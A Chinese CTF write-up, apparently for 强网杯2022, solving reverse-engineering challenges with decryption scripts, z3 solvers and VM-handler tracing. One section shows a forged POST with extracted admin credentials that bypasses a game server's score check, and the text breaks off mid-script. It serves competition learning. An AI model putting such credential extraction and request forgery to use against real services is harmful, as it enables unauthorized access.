    v132 = *(unsigned __int8 *)(*v181 + v97);
    v133 = v132 >= 0x41;
    if ( v132 >= 0x41 )
      v133 = v132 - 91 >= 6;
    if ( v133 && v132 <= 'z' )
    {
      v134 = v132 > 0x60;
      v135 = 'A';
      v136 = -39;
      if ( v134 )
        v135 = 'a';
      *(_DWORD *)v123 = v135;
      if ( v134 )
        v136 = -71;
      sub_1A70(
        (*(unsigned __int8 *)(v131 + v97) | 0xFFFFFFF2)
      - (*(_BYTE *)(v131 + v97) & 0xF2)
      + 2 * (*(unsigned __int8 *)(v131 + v97) | 0xD)// rot13
      + 1,
        v136 + 2 * v135);
      v137 = v181;
      *(_BYTE *)(v131 + v97) = v138;
      v97 = *(_DWORD *)v129;
      v139 = *v137;
      v140 = *(unsigned __int8 *)(v139 + *(_DWORD *)v129);
      if ( v140 <= 0x19 )
      {
        *(_BYTE *)(v139 + v97) = 2 * (*v123 | v140) - (v140 ^ *v123);
        v97 = *(_DWORD *)v129;
      }
      v124 = v172;
    }

然后是tea

      v154 = *v107;
      v155 = 2 * (*v103 | *(_DWORD *)v144) - (*(_DWORD *)v144 ^ *v103);
      *v103 = v155;
      v156 = (2 * (v155 | v154) - (v155 ^ v154)) ^ (2 * (v186 | (16 * v154)) - (v186 ^ (16 * v154))) ^ (2 * (*v151 | (v154 >> 5)) - (*v151 ^ (v154 >> 5)));
      v157 = *v149;
      v158 = 2 * (v156 | *v142) - (v156 ^ *v142);
      *v142 = v158;
      v159 = (2 * (*v150 | (v158 >> 5)) - (*v150 ^ (v158 >> 5))) ^ (2 * (v157 | (16 * v158)) - (v157 ^ (16 * v158))) ^ (2 * (v158 | *v103) - (*v103 ^ v158));
      *v107 = 2 * (v159 | *v107) - (v159 ^ *v107);
      v146 = (*v122 | 0xFFFFFFFE) - (*v122 & 0xFFFFFFFE) + 2 * (*v122 | 1) + 1;

两种算法都没魔改,直接抄一份rot13跟tea,把加密后的flag解一下就可以

#include <stdio.h>
#include <stdint.h>
#include <string.h>
void rot13(void* ptr,int len) {
    uint8_t* v = (uint8_t*)ptr;
    for (int i = 0; i < len; ++i) {
        if((v[i] >= 'a' && v[i] <= 'z')) {
            v[i] = 'a' + (v[i] - 'a' + 13) % 26;
        } else if(v[i] >= 'A' && v[i] <= 'Z') {
            v[i] = 'A' + (v[i] - 'A' + 13) % 26;
        }
    }
}
void decrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
    uint32_t delta = 0x9E3779B9;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (i = 0; i<32; i++) {
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }
    v[0] = v0;
    v[1] = v1;
}
int main(int argc, char const *argv[]) {
    uint32_t k[4];
    const uint8_t tk[]= {
        0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 
        0x61, 0x62, 0x63, 0x64, 0x65, 0x66
    };
    const uint8_t te[]= {
        0x84, 0xAA, 0x94, 0x5D, 0xA0, 0x24, 0xFA, 0x14, 0x10, 0x02, 
        0x56, 0x2B, 0x49, 0xDD, 0x9B, 0xB6, 0xD4, 0xEA, 0xEF, 0xAA, 
        0xC6, 0xF4, 0x8C, 0x4B, 0xC9, 0xB8, 0x7F, 0x09, 0xD2, 0x51, 
        0xEC, 0xB5
    };
    uint32_t e[9];
    memset(e,0,sizeof(e));
    memcpy(k,tk,sizeof(tk));
    memcpy(e,te,sizeof(te));
    for (int i = 0; i < 4; ++i) {
        decrypt(&e[i*2],k);
    }
    rot13(e,sizeof(e));
    printf("%s\n",e);
    getchar();
    return 0;
}

game

一个贪吃蛇小游戏,要获得9999分才能getflag,一开始想着直接抓接口改分数提交。结果点getflag按钮提示"You are not allowed",暂时没有思路了。于是去翻了一下dex里面的接口,发现ScoreBoard.php会返回admin组的账号信息,猜测是需要用admin组的账号才能getflag。

这样就需要直接构造GetFlag.php的post请求,参数为code,解密后的account跟解密后的username。ScoreBoard.php有code跟username,但缺少了account,AddFriend.php可以用code去获取account跟username,但是这两个接口的account跟username都是加密后的,加解密的函数都在so里,但里面有反调试跟混淆,不好整理算法。翻dex代码的时候看到SetUserInfo方法里调用了解密函数返回的username跟account,直接修改成固定的参数,重新打包签名就能看到解密的username跟account。

题目要求要9999分,于是选了code为123125的账号,改安装包解密后得到account为

&Od987$2sPa?>l<k^j

username为admin

然后直接post

requests.post('http://47.93.244.181/re/GetFlag.php', {'code': 123125, 'account': '&Od987$2sPa?>l<k^j', 'username': 'admin'})

返回{"msg":"Success","code":0,"data":"flag{h4pp9_An4R01d}"},调用成功。

GameMaster

一个 21 点的小游戏,且不能肉眼发现如何获取 flag

强网杯2022 By W&M

文件类型是 .NET 应用,使用 dnSpy 分析后发现,当按照某种固定的输入之后程序会使用 AES 解密一段数据

强网杯2022 By W&M

其解密的数据是=来自 gamemessage 文件,密钥也硬编码在程序中,写脚本解密该文件

from Crypto.Cipher import AES

def encrypt(plain_text, key):
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(plain_text)

def decrypt(cipher_text, key):
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.decrypt(cipher_text)

with open('gamemessage', 'rb') as fp:
    data = bytearray(fp.read())
for i in range(len(data)):
    data[i] ^= 34
d0 = decrypt(data, b'\x42\x72\x61\x69\x6e\x73\x74\x6f\x72\x6d\x69\x6e\x67\x21\x21\x21')
with open('gamemessage.dec', 'wb') as fp:
    fp.write(d0)

解密后的数据中明显包含一个新的 PE 文件,将此 PE 数据复制出来

强网杯2022 By W&M

当检查数据通过后,可以看到输出 flag 的逻辑

强网杯2022 By W&M

解密 flag 缺少 3 个整数,通过这 3 个整数派生出的密钥即可解密正确的 flag

强网杯2022 By W&M

这 3 个整数需要满足一定的约束条件,将约束的计算过程复制出来,直接上 z3 即可

强网杯2022 By W&M

z3 解约束的脚本如下

from z3 import *

x = BitVec('x', 64)
y = BitVec('y', 64)
z = BitVec('z', 64)

num = -1
keystream = [0 for i in range(40)]

for i in range(320):
    x = (((x >> 29) ^ (x >> 28) ^ (x >> 25) ^ (x >> 23)) & 1) | (x << 1)
    y = (((y >> 30) ^ (y >> 27)) & 1) | (y << 1)
    z = (((z >> 31) ^ (z >> 30) ^ (z >> 29) ^ (z >> 28) ^ (z >> 26) ^ (z >> 24)) & 1) | (z << 1)
    if i % 8 == 0:
        num += 1
    keystream[num] = ((keystream[num] << 1) | (((z >> 32) & 1 & ((x >> 30) & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1)))) & 0xff

solver = Solver()
solver.add(keystream[0] == 101)
solver.add(keystream[1] == 5)
solver.add(keystream[2] == 80)
solver.add(keystream[3] == 213)
solver.add(keystream[4] == 163)
solver.add(keystream[5] == 26)
solver.add(keystream[6] == 59)
solver.add(keystream[7] == 38)
solver.add(keystream[8] == 19)
solver.add(keystream[9] == 6)
solver.add(keystream[10] == 173)
solver.add(keystream[11] == 189)
solver.add(keystream[12] == 198)
solver.add(keystream[13] == 166)
solver.add(keystream[14] == 140)
solver.add(keystream[15] == 183)
solver.add(keystream[16] == 42)
solver.add(keystream[17] == 247)
solver.add(keystream[18] == 223)
solver.add(keystream[19] == 24)
solver.add(keystream[20] == 106)
solver.add(keystream[21] == 20)
solver.add(keystream[22] == 145)
solver.add(keystream[23] == 37)
solver.add(keystream[24] == 24)
solver.add(keystream[25] == 7)
solver.add(keystream[26] == 22)
solver.add(keystream[27] == 191)
solver.add(keystream[28] == 110)
solver.add(keystream[29] == 179)
solver.add(keystream[30] == 227)
solver.add(keystream[31] == 5)
solver.add(keystream[32] == 62)
solver.add(keystream[33] == 9)
solver.add(keystream[34] == 13)
solver.add(keystream[35] == 17)
solver.add(keystream[36] == 65)
solver.add(keystream[37] == 22)
solver.add(keystream[38] == 37)
solver.add(keystream[39] == 5)

if solver.check() == sat:
    print(solver.model())

# [x = 156324965, y = 868387187, z = 3131229747]

解得最终的 flag 为 Y0u_@re_G3meM3s7er!

find_basic

一个 ELF 文件,需要输入 secret

使用 IDA 静态分析,可以明显看出程序加过 VM 且每个 handler 自身作为分发器

强网杯2022 By W&M

每个 handler 形如

.text:00004516 80 F9 DE                       cmp     cl, 0DEh          ; 判断控制码
.text:00004519 75 28                          jnz     short loc_4543
.text:0000451B 61                             popa                      ; 弹出通用寄存器
.text:0000451C 9D                             popf                      ; 弹出标志寄存器
.text:0000451D E8 02 00 00 00                 call    j__puts_0         ; 该 handler 的实际执行的指令
.text:00004522 EB 05                          jmp     short loc_4529    ; 跳转到下一个 handler 或分发器

可以通过特征匹配所有 handler 并使用 capstone 反汇编框架输出,其特征如下

80 F? ?? 75 ?? 61 9D ?? ?? ?? ?? ?? EB ??

由于实际执行指令的长度未知,所以上述方式并不能奏效!开始漫长的人工分析,目标只有一个,找出读写 flag 内存的 handler 并分析算法。此时借助调试器,在 flag 的内存上打访问断点,第一次断在了如图所示的位置

强网杯2022 By W&M

可以看到该 handler 读取了 flag 的值并做了一次有符号的乘法,继续人工跟踪 flag[0] 的所有操作,记录如下

mov eax, dword ptr [ebp + 8];
mov dword ptr [ebp - 4], eax;
mov byte ptr [ebp - 5], 1;
mov dword ptr [ebp - 0xc], 0;

mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x42b45;

sub eax, 0x1a93d7e;
add dword ptr [ebp - 0xc], eax;
mov eax, dword ptr [ebp - 4];
add eax, 1;

movzx eax, byte ptr [eax];
movzx eax, al;
imul edx, eax, 0x3b10f;
mov eax, dword ptr [ebp - 4];

movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x1e4e0;
add eax, edx

sub eax, 0x24fe394;
add dword ptr [ebp - 0xc], eax;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax]

movzx eax, al;
imul edx, eax, 0x31fc4;
mov eax, dword ptr [ebp - 4];
add eax, 1

movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xfffdb038;
add edx, eax

; ...

分析上述 handler 后可以得出以下结论

  • 指令 mov eax, dword ptr [ebp - 4] 获取了 flag 的内存地址
  • 指令 add dword ptr [ebp - 0xc], eax; 保存每一轮运算的结果

使用 IDA 搜索以下指令,并使用调试器在这些位置打断点,记录每个 handler 对 flag 的操作

; 读取 flag[0]

    8B 45 FC                       mov     eax, [ebp-4]
    0F B6 00                       movzx   eax, byte ptr [eax]
    0F B6 C0                       movzx   eax, al

    0F B6 00                       movzx   eax, byte ptr [eax]
    0F B6 C0                       movzx   eax, al

; 读取 flag[N]

    83 C0 0D                       add     eax, N
    0F B6 00                       movzx   eax, byte ptr [eax]
    0F B6 C0                       movzx   eax, al

人工记录的结果如下

push ebp;
mov ebp, esp;
sub esp, 0x10;
mov eax, dword ptr [ebp + 8];
mov dword ptr [ebp - 4], eax;
mov byte ptr [ebp - 5], 1;
mov dword ptr [ebp - 0xc], 0;

mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x42b45;
sub eax, 0x1a93d7e;
add dword ptr [ebp - 0xc], eax

mov eax, dword ptr [ebp - 4];
add eax, 1;
movzx eax, byte ptr [eax];
movzx eax, al;
imul edx, eax, 0x3b10f;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x1e4e0;
add eax, edx;
sub eax, 0x24fe394;
add dword ptr [ebp - 0xc], eax;

mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul edx, eax, 0x31fc4;
mov eax, dword ptr [ebp - 4];
add eax, 1;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xfffdb038;
add edx, eax;
mov eax, dword ptr [ebp - 4];
add eax, 2;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x1390f;
add eax, edx;
sub eax, 0xbb9e67;
add dword ptr [ebp - 0xc], eax;

mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul edx, eax, 0x32494;
mov eax, dword ptr [ebp - 4];
add eax, 3;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xfffe5a07;
add edx, eax;
mov eax, dword ptr [ebp - 4];
add eax, 1;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xa4e6;
add edx, eax;
mov eax, dword ptr [ebp - 4];
add eax, 2;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x6ba7;
add eax, edx;
sub eax, 0x1052718;
add dword ptr [ebp - 0xc], eax;

mov eax, dword ptr [ebp - 4];
add eax, 1;
movzx eax, byte ptr [eax];
movzx eax, al;
imul edx, eax, 0xfffe0c3f;
mov eax, dword ptr [ebp - 4];
add eax, 2;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x43e32;
add edx, eax;
mov eax, dword ptr [ebp - 4];
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0x3f49d;
add edx, eax;
mov eax, dword ptr [ebp - 4];
add eax, 3;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xc094;
add edx, eax;
mov eax, dword ptr [ebp - 4];
add eax, 4;
movzx eax, byte ptr [eax];
movzx eax, al;
imul eax, eax, 0xfffb7eff;
add eax, edx;
sub eax, 0x7fb225;
add dword ptr [ebp - 0xc], eax;

; ...

经分析后发现 flag 的每个值经过运算后的结果累加值为 0 时即为正确,根据该题的提示,每一轮运算的结果均为 0 时最终的累加值也为 0

人工验证一下思路是否正确,将 flag[0] 的操作转换为表达式为 flag[0] * 0x42b45 - 0x1a93d7e 解得

  • flag[0] = 0x1a93d7e / 0x42b45 = 0x66 = 'f'

再验证 flag[1] 继续分析汇编,并转换为表达式 flag[1] * 0x3b10f + flag[0] * 0x1e4e0 - 0x24fe394

  • flag[1] = (0x24fe394 - flag[0] * 0x1e4e0) / 0x3b10f = 0x6C = 'l'

思路是正确的,接下来就是记录所有的表达式了,最后写个脚本解约束

from z3 import *

flag = [BitVec('flag[%d]' % i, 8) for i in range(0x1c)]

solver = Solver()

for i in range(0x1c):
    solver.add(flag[i] >= 32)
    solver.add(flag[i] <= 127)

solver.add(flag[0] == ord('f'))
solver.add(flag[1] == ord('l'))
solver.add(flag[2] == ord('a'))
solver.add(flag[3] == ord('g'))
solver.add(flag[4] == ord('{'))
solver.add(flag[-1] == ord('}'))

solver.add(flag[0] * 0x42b45 - 0x1a93d7e == 0)
solver.add(flag[1] * 0x3b10f + flag[0] * 0x1e4e0 - 0x24fe394 == 0)
solver.add(flag[0] * 0x31fc4 + flag[1] * 0xfffdb038 + flag[2] * 0x1390f - 0xbb9e67 == 0)
solver.add(flag[0] * 0x32494 + flag[3] * 0xfffe5a07 + flag[1] * 0xa4e6 + flag[2] * 0x6ba7 - 0x1052718 == 0)
solver.add(flag[1] * 0xfffe0c3f + flag[2] * 0x43e32 + flag[0] * 0x3f49d + flag[3] * 0xc094 + flag[4] * 0xfffb7eff - 0x7fb225 == 0)
solver.add(flag[5] * 0x33e5b + flag[1] * 0x157f8 + flag[4] * 0xd4eb + flag[2] * 0xfffc9ad6 + flag[3] * 0x9c95 + flag[0] * 0xfffd8c2e - 0x6a31d == 0)
solver.add(flag[6] * 0x6d8c + flag[4] * 0xfffedd66 + flag[5] * 0x46fd4 + flag[1] * 0xfffc79bb + flag[3] * 0xfffbe7f5 + flag[2] * 0x14cde + flag[0] * 0xfffc4acd + 0x3083b63 == 0)
solver.add(flag[4] * 0x129fd + flag[7] * 0x2a3cd + flag[5] * 0x52a1 + flag[6] * 0x87de + flag[3] * 0x357c1 + flag[0] * 0xfffbe625 + flag[1] * 0xfffec17b + flag[2] * 0x8039 - 0xd3b6ed == 0)
solver.add(flag[4] * 0xfffe590f + flag[6] * 0xfffc6bb7 + flag[0] * 0x2aec8 + flag[7] * 0xfffd58b1 + flag[3] * 0xfffcf131 + flag[8] * 0xfffc0fae + flag[1] * 0xfffcf46a + flag[2] * 0xfffbbb98 + flag[5] * 0xfffc9913 + 0x7a4d9d3 == 0)
solver.add(flag[6] * 0x3cb6 + flag[5] * 0xfffc5201 + flag[9] * 0xfffdec99 + flag[8] * 0x195a8 + flag[4] * 0xfffbcea6 + flag[7] * 0xfffd4f63 + flag[0] * 0x3852e + flag[3] * 0x36c09 + flag[2] * 0xfffdffc6 + flag[1] * 0xffffbb8f + 0x27b7033 == 0)
solver.add(flag[8] * 0xfffb7a1c + flag[10] * 0xffff35fe + flag[4] * 0xfffe5693 + flag[3] * 0xfffdb9f4 + flag[5] * 0xbd38 + flag[1] * 0x25b89 + flag[2] * 0x3074d + flag[7] * 0xfffe5f6f + flag[9] * 0x1400e + flag[0] * 0xfffcd14c + flag[6] * 0x4036d + 0xa8256 == 0)
solver.add(flag[7] * 0x2da7a + flag[2] * 0xfffbfd56 + flag[9] * 0xffff0011 + flag[0] * 0xfffce077 + flag[3] * 0x34d5d + flag[5] * 0xfffb8def + flag[10] * 0xffff2d4e + flag[4] * 0x237a3 + flag[1] * 0x386e1 + flag[6] * 0xfb89 + flag[8] * 0x2e485 + flag[11] * 0x42574 - 0x24df62a == 0)
solver.add(flag[10] * 0x21c5e + flag[1] * 0x32144 + flag[11] * 0x420e3 + flag[3] * 0x3f6d0 + flag[0] * 0x1a459 + flag[2] * 0xfffc900e + flag[8] * 0x3fd03 + flag[7] * 0x43d16 + flag[5] * 0xfffe4105 + flag[6] * 0xfffd400a + flag[9] * 0xffffc29b + flag[4] * 0x2f9f0 + flag[12] * 0x19432 - 0x6f9b293 == 0)
solver.add(flag[1] * 0xfffca694 + flag[0] * 0xfffce151 + flag[9] * 0x30418 + flag[11] * 0x2f6aa + flag[4] * 0x1b619 + flag[8] * 0x22e4 + flag[7] * 0xfffe1384 + flag[10] * 0xffffa664 + flag[3] * 0x13e07 + flag[2] * 0xfffc46de + flag[5] * 0x79d6 + flag[12] * 0x4372b + flag[13] * 0x3d1d + flag[6] * 0x4d41 - 0x176513c == 0)
solver.add(flag[7] * 0x29b04 + flag[3] * 0xfffd2684 + flag[2] * 0xfffd9a2f + flag[10] * 0xfffd79fc + flag[13] * 0x2594e + flag[12] * 0x41c45 + flag[6] * 0xfffc9c57 + flag[5] * 0xfffc5f95 + flag[11] * 0xfffec65c + flag[14] * 0xffffb642 + flag[1] * 0xfffcb527 + flag[0] * 0x2792e + flag[4] * 0xfffe1bb7 + flag[8] * 0x445a1 + flag[9] * 0xfffd25cc + 0x5338cd6 == 0)
solver.add(flag[14] * 0xfffd399c + flag[3] * 0xffff3edb + flag[11] * 0x26b94 + flag[13] * 0xfffcee81 + flag[4] * 0xfffefe93 + flag[5] * 0xfffcdfa4 + flag[6] * 0xfffe2a42 + flag[0] * 0x10ba4 + flag[10] * 0x38e1d + flag[12] * 0x14c1e + flag[7] * 0xffffce4a + flag[8] * 0xfffd2a4b + flag[9] * 0x41fc + flag[1] * 0xfffedbac + flag[2] * 0xfffeab6a + flag[15] * 0xfffe4e59 + 0x299ff72 == 0)
solver.add(flag[14] * 0xfffdc67b + flag[1] * 0xffffb1fc + flag[12] * 0xffff59be + flag[8] * 0x3684 + flag[5] * 0x202c2 + flag[10] * 0x2e43 + flag[6] * 0xffff3a46 + flag[7] * 0x6a23 + flag[2] * 0xebfb + flag[0] * 0xfffbb78a + flag[15] * 0xd44a + flag[13] * 0x385eb + flag[11] * 0xfffee046 + flag[9] * 0xfffeb282 + flag[4] * 0xfffde639 + flag[3] * 0xfffd6738 + flag[16] * 0xffff1aa3 + 0x4728350 == 0)
solver.add(flag[1] * 0x28c9c + flag[4] * 0xfffdc4ae + flag[3] * 0x278ad + flag[17] * 0x326ca + flag[7] * 0xfffd423d + flag[15] * 0xfffc96fc + flag[10] * 0xfffeeb1a + flag[9] * 0xfffc2ee0 + flag[5] * 0x106be + flag[6] * 0xffff5d67 + flag[8] * 0x27 + flag[11] * 0xfffbc3b6 + flag[12] * 0xfffd163c + flag[13] * 0xfffb9b47 + flag[2] * 0x1e6ed + flag[0] * 0xfffc6c6f + flag[16] * 0x3b32b + flag[14] * 0x2feea + 0x48d1119 == 0)
solver.add(flag[3] * 0xfffc2bb3 + flag[0] * 0xfffce76f + flag[4] * 0xfffca692 + flag[1] * 0xfffdf4bc + flag[14] * 0x192f9 + flag[17] * 0xfffe5a1e + flag[15] * 0xfffed4f3 + flag[7] * 0xffff94f8 + flag[6] * 0xfffc717e + flag[9] * 0xfffed29b + flag[10] * 0xfffd28d9 + flag[8] * 0x218df + flag[2] * 0x28e00 + flag[12] * 0xfffdd0af + flag[13] * 0x25d22 + flag[11] * 0x42ebb + flag[5] * 0xffff1382 + flag[18] * 0x7404 + flag[16] * 0xfffe2dff + 0x60245a5 == 0)
solver.add(flag[5] * 0x21061 + flag[0] * 0xfffbcb01 + flag[19] * 0xffff7442 + flag[3] * 0x24568 + flag[6] * 0x1b201 + flag[13] * 0x2d232 + flag[14] * 0x13777 + flag[7] * 0xfffee013 + flag[8] * 0xfffc7505 + flag[2] * 0x264ed + flag[1] * 0x33b4f + flag[11] * 0x286d8 + flag[17] * 0x33e8b + flag[12] * 0x21529 + flag[16] * 0xfffb7c1a + flag[18] * 0xfffd07a3 + flag[10] * 0xffff8453 + flag[4] * 0x9754 + flag[9] * 0xfffd603d + flag[15] * 0xfffdd85b - 0x254e142 == 0)
solver.add(flag[0] * 0xfffe206e + flag[12] * 0x2f048 + flag[8] * 0xfffc19fa + flag[4] << 6 + flag[7] * 0x370d + flag[13] * 0xfffd9c2f + flag[6] * 0xfffdb413 + flag[20] * 0x30e0a + flag[18] * 0xfffe07f8 + flag[9] * 0xfffedfd5 + flag[10] * 0xfffee6f6 + flag[3] * 0x46247 + flag[1] * 0x2b8ed + flag[16] * 0x2d291 + flag[5] * 0xfffdc54d + flag[15] * 0xfffc5b55 + flag[14] * 0xfffb8061 + flag[11] * 0x43913 + flag[2] * 0xffffe191 + flag[17] * 0xfffd276e + flag[19] * 0xfffe5841 + 0xce53e7 == 0)
solver.add(flag[20] * 0xfffed971 + flag[21] * 0x46741 + flag[18] * 0xfffbac8c + flag[1] * 0xfffeb4e7 + flag[13] * 0x1026b + flag[12] * 0xfffe7d86 + flag[6] * 0xfffd5fec + flag[3] * 0x48ddb + flag[16] * 0xfffc6bc1 + flag[17] * 0x37ece + flag[8] * 0x41105 + flag[2] * 0xfffe6667 + flag[19] * 0xfffe75b2 + flag[4] * 0x61b0 + flag[14] * 0xffffd602 + flag[11] * 0xfffbce29 + flag[0] * 0xffff07d7 + flag[5] * 0x34c8e + flag[15] * 0x32996 + flag[10] * 0x49530 + flag[7] * 0x33822 + flag[9] * 0xfffce161 + 0x42666b == 0)
solver.add(flag[8] * 0xfffe06e8 + flag[12] * 0xfffd0441 + flag[2] * 0x16357 + flag[3] * 0x1d95f + flag[22] * 0xffff89d3 + flag[1] * 0xfffba022 + flag[16] * 0x46180 + flag[4] * 0xffff4240 + flag[5] * 0x199c5 + flag[21] * 0xffff442c + flag[17] * 0xfffc2fac + flag[10] * 0x32600 + flag[19] * 0x1d03a + flag[9] * 0x19435 + flag[15] * 0xfffd1667 + flag[18] * 0x35d1d + flag[0] * 0x96c4 + flag[11] * 0x2fa24 + flag[7] * 0xb20c + flag[6] * 0xebee + flag[20] * 0x428a6 + flag[14] * 0xfffceb8a + flag[13] * 0x22784 - 0x3604a63 == 0)
solver.add(flag[0] * 0x1e3e2 + flag[9] * 0x1cfb9 + flag[6] * 0xc3f7 + flag[10] * 0x94cd + flag[22] * 0xfffc7fd0 + flag[2] * 0x21165 + flag[23] * 0xfffcfb41 + flag[14] * 0xffff819d + flag[5] * 0xfffbeb76 + flag[1] * 0x16751 + flag[19] * 0xe1a + flag[17] * 0x238a0 + flag[12] * 0x28f99 + flag[8] * 0x45bc + flag[20] * 0xffffcb18 + flag[15] * 0x32d58 + flag[11] * 0xffffe4bc + flag[16] * 0xfffeea95 + flag[13] * 0x44f3a + flag[18] * 0xb047 + flag[7] * 0xfffcfc36 + flag[21] * 0x1719 + flag[4] * 0x1b011 + flag[3] * 0xfffea265 - 0x2918269 == 0)
solver.add(flag[15] * 0xfffbf307 + flag[8] * 0xffff2847 + flag[6] * 0xfffcfd31 + flag[2] * 0x40f96 + flag[22] * 0x2b265 + flag[5] * 0xfffc7802 + flag[3] * 0x1b103 + flag[4] * 0x42452 + flag[14] * 0x3c5d + flag[1] * 0x15b55 + flag[9] * 0xfffeb722 + flag[13] * 0x1d9a9 + flag[23] * 0x28df + flag[12] * 0xfffc89eb + flag[10] * 0xfffe1221 + flag[7] * 0x4462a + flag[19] * 0x23353 + flag[21] * 0x3c514 + flag[0] * 0x316a4 + flag[11] * 0x176e1 + flag[20] * 0xcf0e + flag[18] * 0x46b55 + flag[24] * 0xffffbcc1 + flag[17] * 0xf2a7 + flag[16] * 0x1d33c - 0x5df35b6 == 0)
solver.add(flag[3] * 0xfffbf624 + flag[22] * 0xfffec87a + flag[2] * 0x19aaa + flag[23] * 0x5f14 + flag[20] * 0xfffcfc43 + flag[16] * 0xfffbe879 + flag[15] * 0xfffdfc92 + flag[14] * 0xffffc258 + flag[0] * 0xfffd02fd + flag[5] * 0x12560 + flag[13] * 0xae46 + flag[7] * 0xfffeb6f5 + flag[12] * 0x30c11 + flag[17] * 0xfffcb4ae + flag[24] * 0x2a00a + flag[6] * 0xfffc76de + flag[21] * 0x4162 + flag[10] * 0xfffe95b2 + flag[25] * 0xfffe60e7 + flag[19] * 0xffff908d + flag[4] * 0xfffb7f42 + flag[11] * 0x1c31 + flag[1] * 0xffff900c + flag[8] * 0x2ad6e + flag[9] * 0xfffd7c6d + flag[18] * 0xc499 + 0x83646cd == 0)
solver.add(flag[12] * 0x26b02 + flag[3] * 0xfffb92e5 + flag[17] * 0x30dd1 + flag[18] * 0xfffe4c7b + flag[0] * 0xffff0433 + flag[1] * 0x276b1 + flag[9] * 0xfffc241e + flag[5] * 0xfffe3fdc + flag[8] * 0xfffee787 + flag[10] * 0x230c + flag[21] * 0xfffd53f8 + flag[4] * 0xfffc108c + flag[14] * 0xffffbac1 + flag[26] * 0xffff0bdb + flag[15] * 0xfffbc5e2 + flag[19] * 0xa1f6 + flag[16] * 0x1e758 + flag[22] * 0x1725f + flag[23] * 0x3387e + flag[20] * 0x87b + flag[2] * 0xfffd8475 + flag[13] * 0x3776a + flag[24] * 0xffff4515 + flag[11] * 0x1a454 + flag[6] * 0xfffbf3a1 + flag[25] * 0x25174 + flag[7] * 0xfffbccc2 + 0x52dfb3f == 0)
solver.add(flag[25] * 0x2f139 + flag[20] * 0x21b53 + flag[15] * 0x2ad74 + flag[9] * 0xfffba19b + flag[16] * 0x1ac4e + flag[27] * 0x2208e + flag[13] * 0xfffdd738 + flag[11] * 0xfffdfb9f + flag[8] * 0xfffe4b65 + flag[5] * 0x10937 + flag[10] * 0xfffbfdf3 + flag[12] * 0x3cc1a + flag[23] * 0xfffe93ee + flag[2] * 0xfffe3b8a + flag[14] * 0xfffe792c + flag[6] * 0x3e9ff + flag[21] * 0x128e6 + flag[3] * 0x574b + flag[24] * 0x16707 + flag[19] * 0x3fe4c + flag[17] * 0xfffed658 + flag[7] * 0x3cc8c + flag[22] * 0x458b4 + flag[1] * 0xfffd74d0 + flag[18] * 0x22e02 + flag[4] * 0xffff098d + flag[0] * 0x30b99 + flag[26] * 0xfffba5e9 - 0x38186f4 == 0)

flag_str = ''

if solver.check() == sat:
    m = solver.model()
    for i in range(0x1c):
        flag_str += chr(m[flag[i]].as_long())

print(flag_str)

解得最终的 flag 为 flag{U_90t_th3_8451c_53cre7}

easyre

分析程序逻辑,首先释放了一个 ELF,随后通过 ptrace 类似调试器的方法,捕获 ELF 的 SIGTRAP 信号对释放的 ELF 进程修改代码,最终在 ELF 中对输入文件进行 check,详细如下:

强网杯2022 By W&M

由于 fork 后在子进程中 sub_40C3F0 函数会将 re3 文件删除,可以在该处下断点,这样可以得到 re3 文件,进而分析 re3 程序,IDA 打开后发现部分代码数据并未被识别为指令,手动 make code 即可,进入 main 函数,_setjmp()longjmp() 实现二重循环,大致是 check 的逻辑,sub_2490 对输入文件逐字节读取

强网杯2022 By W&M

分析可知合法输入为 25x25 的 01 矩阵,随后进入 loc_21F9 的函数调用,但该函数中存在 INT 3 指令

强网杯2022 By W&M

回到 easyre 程序,该 SIGTRAP 被上层进行捕获,sub_401A30 函数通过程序 pid 在/proc/maps 中读取了 re3 进程的内存映像

强网杯2022 By W&M

结合动态调试,在 sub_401F2F 中下断点,并将异常 pass to app,可以发现首次 INT 3 时,程序进入此处

强网杯2022 By W&M

在执行完对应逻辑后,通过修改进行 rip 控制其执行流,随后向进程传入 PTRACE_CONT 信号,令 re3 继续执行,分析 sub_401BB1 函数

强网杯2022 By W&M

该函数对 re3 进程中的代码进行了修改,提取 md5 数据后,在 re3 中还原对应部分代码

from hashlib import md5
from ida_bytes import get_byte, patch_bytes

addr = 0x55899211E213
